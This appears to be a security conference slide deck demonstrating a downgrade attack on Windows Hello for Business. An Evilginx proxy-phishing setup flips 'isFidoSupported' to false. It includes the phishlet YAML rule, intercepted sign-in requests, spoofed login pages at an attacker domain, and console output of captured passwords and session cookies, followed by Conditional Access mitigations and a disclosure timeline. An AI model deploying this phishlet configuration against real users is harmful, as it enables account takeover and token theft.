The image shows a Microsoft sign-in page. At the top left is the Microsoft logo. Below it is the text "Sign in". A text input field contains the email address "yehuda.smirnov@company.com". Below the input field are two links: "No account? Create one!" and "Can't access your account?". At the bottom of the main content area are two buttons: "Back" (grey) and "Next" (blue). Below the main content area is a separate box containing a key icon and the text "Sign-in options".

Microsoft


## Sign in

yehuda.smirnov@company.com

No account? [Create one!](#)

[Can't access your account?](#)

Back Next

 Sign-in options

# DEMONSTRATION - INTERCEPT

```
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Cookie: ..snip...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)
Gecko/20100101 Firefox/127.0
Origin: https://login.microsoftonline.com
Connection: keep-alive

{
  "username": "yehuda.smirnov@company.com",
  "isOtherIdpSupported": true,
  "checkPhones": false,
  "isRemoteNGCSupported": true,
  "isCookieBannerShown": false,
  "isFidoSupported": true,
  "originalRequest":
  "rQQIARAAhZI_bON0GIbtpE3...snip...F40GuZ4FzCqTpVPu3rcV5PcK8g8
  1",
  "country": "IL",
  "forceotclogin": false,
  "isExternalFederationDisallowed": false,
  "isRemoteConnectSupported": false,
  "federationFlags": 0,
  "isSignup": false,
  "flowToken": "AQABIQEAAAAPtwJmzXqdR...snip...72KycL84CJd7AsgAA",
  "isAccessPassSupported": true,
  "isQrCodePinSupported": true
}
```

# DEMONSTRATION - INTERCEPT

```
POST /common/GetCredentialType?mkt=en-US HTTP/1.1
Host: login.microsoftonline.com
Cookie: ..snip...
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:127.0)
Gecko/20100101 Firefox/127.0
Origin: https://login.microsoftonline.com
Connection: keep-alive

{
  "username": "yehuda.smirnov@company.com",
  "isOtherIdpSupported": true,
  "checkPhones": false,
  "isRemoteNGCSupported": true,
  "isCookieBannerShown": false,
  "isFidoSupported": false,
  "originalRequest":
  "rQQIARAAhZI_bON0GIbtpE3...snip...F40GuZ4FzCqTpVPu3rcV5PcK8g8
  1",
  "country": "IL",
  "forceotclogin": false,
  "isExternalFederationDisallowed": false,
  "isRemoteConnectSupported": false,
  "federationFlags": 0,
  "isSignup": false,
  "flowToken": "AQABIQEAAAAPtWJmzXqdR..snip..72KycL84CJd7AsgAA",
  "isAccessPassSupported": true,
  "isQrCodePinSupported": true
}
```

# DEMONSTRATION - DOWNGRADED

```
POST /common/GetCredentialType?ext=en-US HTTP/1.1
Host: login.microsoftonline.com
Cookie: ..snip..
...
{
  "isSignup": false,
  "flowToken": "AQA8IQEAAAAP7wJwzTqDR..snip..T2WyclBwCJ0TAsgAA",
  "isAccessPassSupported": true,
  "isQRCodePinSupported": true
}
```

← yehuda.smirnov@company.com

## Enter password


Password

[Forgot my password](#)

Sign in



# DEMONSTRATION - DOWNGRADED



The image shows a Microsoft login interface overlaid on a terminal window. The terminal displays an HTTP POST request to the Microsoft login endpoint. The login page includes the Microsoft logo, the user's email address, a password field, and a 'Sign in' button.

```
POST /common/GetCredentialType?ext=us-US HTTP/1.1
Host: login.microsoftonline.com
Cookie: ..snip...
```

Microsoft

← yehuda.smirnov@company.com

## Enter password

.....

[Forgot my password](#)

[Use your face, fingerprint, PIN, or security key instead](#)

[Sign in](#)

```
... "isAccessPassSupported": true,
... "isQRCodePinSupported": true
```

# DEMONSTRATION - DOWNGRADED

POST /common/GetCredentialType?ext=us-US HTTP/1.1  
Host: login.microsoftonline.com  
Cookie: ..snip...

Microsoft

yehuda.smirnov@company.com

## Enter code

Enter the code displayed in the authenticator app on your mobile device

285494

Having trouble? [Sign in another way](#)

[More information](#)

Verify

u3rcv5Pc8bpt  
K30TAsgAA\*

# DEMONSTRATION - DOWNGRADED

The image shows a screenshot of the Microsoft 365 dashboard. At the top, a network log overlay displays a POST request to `login.microsoftonline.com`. The dashboard header includes the Microsoft 365 logo, a search bar, and utility icons. The main content area features a 'Welcome to Microsoft 365' message, an 'Install and more' button, and a 'Quick access' section with filters for 'All', 'Recently opened', 'Shared', and 'Favorites'. Below this, a list of documents is shown, including files named '72230608322' and '52230606780', both dated 'Jun 26' and labeled 'Microsoft sent this'. A 'See all My Content' link is located at the bottom right of the document list. The left sidebar contains navigation icons for Home, Create, My Content, Feed, Apps, Admin, Outlook, Word, Excel, and PowerPoint.

```
POST /common/GetCredentialType?ext=us HTTP/1.1
Host: login.microsoftonline.com
Cookie: ...
```

Microsoft 365

Search

Welcome to Microsoft 365

Install and more

Quick access

All Recently opened Shared Favorites +

72230608322 Jun 26 Microsoft sent this

52230606780 Jun 26 Microsoft sent this

See all My Content →

Home  
Create  
My Content  
Feed  
Apps  
Admin  
Outlook  
Word  
Excel  
PowerPoint

# PROXY PHISHING

# PROXY PHISHING



# PROXY PHISHING



# PROXY PHISHING - EVILGINX




Link to the Evilginx framework:  
made by @mrgretzky



# PROXY PHISHING - EVILGINX

https://login.attacker.com/organizations/oauth2/v2.0/authorize?redirect\_uri=https%3A%2F%2Fportal.azure.com%2Fsignin%2Findex%2F&response\_type=code%20i...

## Microsoft Azure




**Sign in**  
to continue to Microsoft Azure


Email, phone, or Skype

No account? [Create one!](#)

[Can't access your account?](#)

[Next](#)

 Sign in with GitHub


 Sign-in options



# PROXY PHISHING - EVILGINX

https://login.attacker.com/organizations/oauth2/v2.0/authorize?redirect\_uri=https%3A%2F%2Fportal.azure.com%2Fsignin%2Findex%2F&response\_type=code%20i...

## Microsoft Azure

 Microsoft

### Sign in


to continue to Microsoft Azure


Email, phone, or Skype

No account? [Create one!](#)

[Can't access your account?](#)

Next


 Sign in with GitHub

 Sign-in options

Attacker



# PROXY PHISHING - EVILGINX



# AUTOMATION



yudasm commented on Mar 5

Contributor



Added support for `force_post` for json parameters (supported only regular http parameters)

Useful for intercepting requests to URLs such as `/common/GetCredentialType` which are used to initiate Windows Hello for Business auth flow

Blog post will be published soon on this subject

The following `force_post` section can now alter the API post request and modify it on the fly, something that could not be done beforehand due to limitations with modifications of JSON params.

```
- path: '/common/GetCredentialType'  
  search:  
    - {key: 'isFidoSupported', search: '.*'}  
  force:  
    - {key: 'isFidoSupported', value: 'false'}  
  type: 'post'
```



# AUTOMATION

WHfB-o365-Phishlet / o365whfb.yaml

Code

Blame

91 lines (91 loc) · 2.8 KB


```
12     - domain: 'login.microsoftonline.com'
13       keys: ['ESTSSC:always', 'ESTSAUTHLIGHT:always', '
14         type: 'cookie'
15     force_post:
16     - path: '/kmsi'
17       search:
18         - {key: 'LoginOptions', search: '.*'}
19       force:
20         - {key: 'LoginOptions', value: '1'}
21       type: 'post'
22     - path: '/common/GetCredentialType'
23       search:
24         - {key: 'isFidoSupported', search: '.*'}
25       force:
26         - {key: 'isFidoSupported', value: 'false'}
27       type: 'post'
```

# DEMONSTRATION

---

# DEMONSTRATION - PHISHING SITE

https://login.attacker.com/common/oauth2/v2.0/authorize?client\_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect\_uri=https%3A%2F%2Fwww.office.com%2...



Microsoft


## Sign in

yehuda.smirnov@company.com

No account? [Create one!](#)


[Can't access your account?](#)

[Back](#) [Next](#)

 Sign-in options

# DEMONSTRATION - PHISHING SITE

https://login.attacker.com/common/oauth2/v2.0/authorize?client\_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect\_uri=https%3A%2F%2Fwww.office.com%2...



← yehuda.smirnov@company.com

## Enter password

Password

---


[Forgot my password](#)

[Use your face, fingerprint, PIN, or security key instead](#)

[Sign in](#)

# DEMONSTRATION - PHISHING SITE

https://login.attacker.com/common/reprocess?prompt=select\_account&ssid=0b48b6bb-8bf8-434b-9380-c73ade23d945&ctx=rQQIARAAhZM7jNt0HMfzuMtdQkv...



← yehuda.smirnov@company.com

## Enter password

.....

[Forgot my password](#)


[Use your face, fingerprint, PIN, or security key instead](#)

[Sign in](#)



# DEMONSTRATION - PHISHING SITE

https://login.attacker.com/common/resume?username=yehuda.smirnov%40company.com&npc=7



yehuda.smirnov@company.com

## Enter code

Enter the code displayed in the authenticator app on your mobile device

474657

---

Having trouble? [Sign in another way](#)

[More information](#)

[Verify](#)

# DEMONSTRATION - REDIRECT

The screenshot shows a web browser window with the Microsoft 365 home page. The browser's address bar shows the URL `office.com/?auth=2`. The page features a dark theme with a sidebar on the left containing navigation options: Home, Create, My Content, Feed, Apps, Admin, Outlook, and Word. The main content area displays a 'Welcome to Microsoft 365' message with an 'Install and more' button. Below this is a 'Quick access' section with buttons for 'All', 'Recently opened', 'Shared', and 'Favorites'. A list of documents is shown below, including two files with IDs 72230608322 and 52230606780, both dated 'Jun 26' and labeled 'Microsoft sent this'. A blue arrow icon is visible in the bottom right corner of the page content.

Home | Microsoft 365

office.com/?auth=2

Microsoft 365 Search

Home

Create

My Content

Feed

Apps

Admin

Outlook

Word

Welcome to Microsoft 365

Install and more

Quick access

All Recently opened Shared Favorites

	72230608322	Jun 26	Microsoft sent this
	52230606780	Jun 26	Microsoft sent this

# DEMONSTRATION - ATTACKER SIDE

```
[10:54:41] [+++] [0] detected authorization URL - tokens intercepted: /favicon.ico
: sessions

+-----+-----+-----+-----+-----+-----+
| id | phishlet | username | password | tokens | remote ip | time |
+-----+-----+-----+-----+-----+-----+
| 95 | microsoft365new | yehuda.smir..... | | captured | 93.157.86.34 | 2023-08-27 10:54 |
+-----+-----+-----+-----+-----+-----+

: sessions 95

id : 95
phishlet : microsoft365new
username : yehuda.smirnov@company.com
password : DefinitelyNotMyP$$ssword
tokens : captured
landing url : https://login.microsoftonline.com/W0scRgJS?b=BA10q2n0v0w0n0WI0iGKgw
user-agent : Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
remote ip : 93.157.86.34
create time : 2023-08-27 10:54
update time : 2023-08-27 10:54

[ cookies ]
[{"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"0.AXsA0T154DkJbUmXKRm03ZFv61tEZUfGMrBJg-Ydk3ZSdsp7AIg.AgABAAQAAAAAtyoLD0bpQ05VtLI4uGjEPAGDs_wUA9P_h6JR12wjcsim7frEtKVZoeUJatcw2h_uW7xb3m2w9BX2uN5J3V311xVaxtTVtNpfz0rdLduisqyDirTK20PsUF05mN4HbkXrDCTDLEJ0UFj-AAVo5W00nccF6p05WzqDtonZiJpfl69b6hTLw8GmhZTynHwRQicUJeYxwudX7Ttje4IL-y0gkPKznpohiPVY5bkZXGycHf_4S1oZcx26pR1DcW8a1x0tVbpQmVD7Y8Gy3DpJ5jl7YdtDLdkl0iw_R4KyuoW39R_f4dDn5VEZz6cs06pbfExzEomHJtkUaoRwvRz03KWqsNo370bw6jZBdp6zbbzIXeIoRA0v-r03KZqJkRod24XC7TCTFDmo0WAaEC0Mwp5KBAMaSBzZjtWakZ0z7c4-vPTMdcuQ_vRJJZruzgwU00LkIAkNPpuj4q4ovEJwf8smUEuneFG9l-WpchrQH1Mcd_c4sp7Cqx-uCpAVu9EkXbecs8gnGgrx8ddlM20xk2M3lID50kaTG93eGzysowVXCiBmTR7NNj98QUk1JU8-j_gTWoLk3VuhxZTv-eGCFiuRnSCL4GR7JRyoNhmcygWB_yokLT2RnwhImm4kMSzqy_eAhCW_tPLMjc78jAy0ijZyYRbPIuTCEBA34sYbumS4bTM8QH98ZrGGV6mbuDv9Hzdg5", "name":"ESTSAUTH", "httpOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"0.AXsA0T154DkJbUmXKRm03ZFv61tEZUfGMrBJg-Ydk3ZSdsp7AIg.AgABAAQAAAAAtyoLD0bpQ05VtLI4uGjEPAGDs_wUA9P8snpuo6EYwJAxUjjzePCWcFJIKgqxMbEpBpguKt5LCZuAVcc3QZPEAKu_8KgVRN5-iUq7c434FiN89ebyabaJj6Lnv1cD8E0gI_J2vXbWN-n7sIaMuh5wC1Lk60lFP9yppg4kqNoPcVTRsm6AjB8HCqqeyH6LZE3Sg8Jj2jGaZhUEvSpFBHGJdH4DR_nULHjhidmnc0uN7kN0WcHq6h1P83F2CUNIwBiqlt0kv2hx04JitEsZ16lq3qC3QWgzZzT202a0oe4EV-yg7xo9lsN2Ym0Q6aLlz_IsdI9Jr2M-Rm0Pw0GT3eslTIkR4X2rCTi0cFPQ4KjZCjwUUh0bv7RT5Wxth2QEofvefpr6tAcVrUYRUgnAL6_4Grtub9QAnbaETm213UckGjmVYmnpGu0owDmc4PhtPKtI0bd-md4IR09bQ5XA_HHHwUXiilKf9Sot4zww93GseCV3ETbRg", "name":"ESTSAUTHPERSISTENT", "httpOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"CAGABAAIAAAAAtyoLD0bpQ05VtLI4uGjEPAGDs_wUA9P-xPbSyILVcPHh_65bB-rk4d8_3qc8D50_lB6ncf0bnHal_59sEWi-UVguTBS19CUElQRPrag7PGmVir-a8wehGtCA00HfsbNhnNDbQ590J84nVXYoGCJinZEF-YAm9ywdAN6LAcD99G_ArVohT6LsYeY0yl4CdzttTtvZvm-hqEUi9J4YocBmPEfpBQhYYQVUHxo7ycfy-rbIth5sKPoJvozAhwm7ujMB-HornifHh28NwAfnbiT_zarYcQBARKxu", "name":"SignInStateCookie", "httpOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"PAQABAAEAAAAtyoLD0bpQ05VtLI4uGjEPwdTqFYe6zpdjJpbwZFnwf07mr_ZzllCJzXpJ91pcXAfV1m4TDZJa9EgpxjUmvhGXku5oRqVq-sVhY6aQVxYmPye2j4jbuVYgkuGkXSccBDokQ01lRtLYalBb1f7dx8DUaqWgdlecjehkZK0PnWfn5ImsRdwqAnaMDVM6DwUs-lFiPn4gZSf57kBGiWrt01yW02bFyKRLBLVL7vP3xap40zhYQZ9tvd0SHnDHu0kgAA", "name":"esctx", "httpOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"+6669bd20-ee04-4117-90c5-dc7e4f7168e1", "name":"ESTSAUTHLIGHT", "hostOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"estsfd", "name":"stsser vicecookie", "httpOnly":true, "hostOnly":true}, {"path":"/", "domain":"login.microsoftonline.com", "expirationDate":1724669698, "value":"estsfd", "name":"x-ms-gateway-slice", "httpOnly":true, "hostOnly":true}]]
```

# MITIGATION STRATEGIES



# MITIGATION STRATEGIES

## Grant ×

Control access enforcement to block or grant access. [Learn more](#) ↗

Block access

Grant access

Require multifactor authentication ⓘ

Require authentication strength ⓘ

Require device to be marked as compliant ⓘ

## Authentication Strength



# MITIGATION STRATEGIES

## Multifactor authentication

Combinations of methods that satisfy strong authentication, such as Password + SMS

## Passwordless MFA

Passwordless methods that satisfy strong authentication, such as Microsoft Authenticator

## Phishing-resistant MFA

Phishing-resistant Passwordless methods for the strongest authentication, such as FIDO2

Security Key

## Authentication Strength



# MITIGATION STRATEGIES

**GI** Multifactor authentication ×  
Combinations of methods that

**Cor** satisfy strong authentication,  
**gra** such as Password + SMS

Passwordless MFA  
Passwordless methods that

satisfy strong authentication,  
such as Microsoft Authenticator

Phishing-resistant MFA

Phishing-resistant Passwordless  
methods for the strongest  
authentication, such as FIDO2

Security Key

## Authentication Strength



# MITIGATION STRATEGIES



Phishing-resistant Conditional Access Policy



# MITIGATION STRATEGIES

## Phishing-resistant Conditional Access Policy

### Target resources

Select what this policy applies to

Cloud apps

**Include**   Exclude

None

All cloud apps

Select apps

### Grant access

Require authentication strength ⓘ

Phishing-resistant MFA

# MITIGATION STRATEGIES

---

Register Security Information Conditional  
Access Policy

# MITIGATION STRATEGIES

## Register Security Information Conditional Access Policy

### Target resources

Select what this policy applies to

User actions


Select the action this policy will apply to

Register security information

Register or join devices

### Grant access

Require Microsoft Entra hybrid joined device ⓘ

 Don't lock yourself out! Make sure that your device is Microsoft Entra hybrid joined. [Learn more](#) ↗

# **MITIGATION STRATEGIES**

---

Enforce MFA for all Users

# MITIGATION STRATEGIES

Enforce MFA for all Users

Require authentication strength ⓘ

Multifactor authentic... ▾

Select what this policy applies to

Cloud apps ▾

Include Exclude

None

All cloud apps

Select apps

# MITIGATION STRATEGIES




# DEMONSTRATION

---

# DEMONSTRATION - PHISHING SITE

Microsoft Azure


 Microsoft


**Sign in**  
to continue to Microsoft Azure

No account? [Create one!](#)

[Can't access your account?](#)

[Next](#)

 Sign in with GitHub

 Sign-in options



# DEMONSTRATION - PHISHING SITE

Microsoft Azure



← yehuda.smirnov@company.com

**Enter password**

.....

[Forgot my password](#)

Use your face, fingerprint, PIN, or security key instead

Sign in

# DEMONSTRATION - PHISHING SITE

Microsoft Azure



yehuda.smirnov@company.com

## Verify your identity

Your organization requires additional sign in methods to access this resource.



Face, fingerprint, PIN or security key

[More information](#)

Are your verification methods current? Check at <https://aka.ms/mfasetup>

Cancel

# **REPORT TIMELINE**

---

- **10 September 2023 — Reported to Microsoft**
- **06 November 2023 — Fixed according to Microsoft**

# TAKE AWAYS

# TAKE AWAYS

Windows Hello for Business 

# TAKE AWAYS

Windows Hello for Business



WebAuthn API



# TAKE AWAYS

Windows Hello for Business



WebAuthn API



Downgrade attack vector



# TAKE AWAYS

Windows Hello for Business



WebAuthn API



Downgrade attack vector




Conditional Access Policies





# SLIDES

Github Repo with Slides



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**QUESTIONS?**

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---

# THANK YOU

---

FOR WATCHING

Yehuda Smirnov  
@yudasm\_

 **accenture**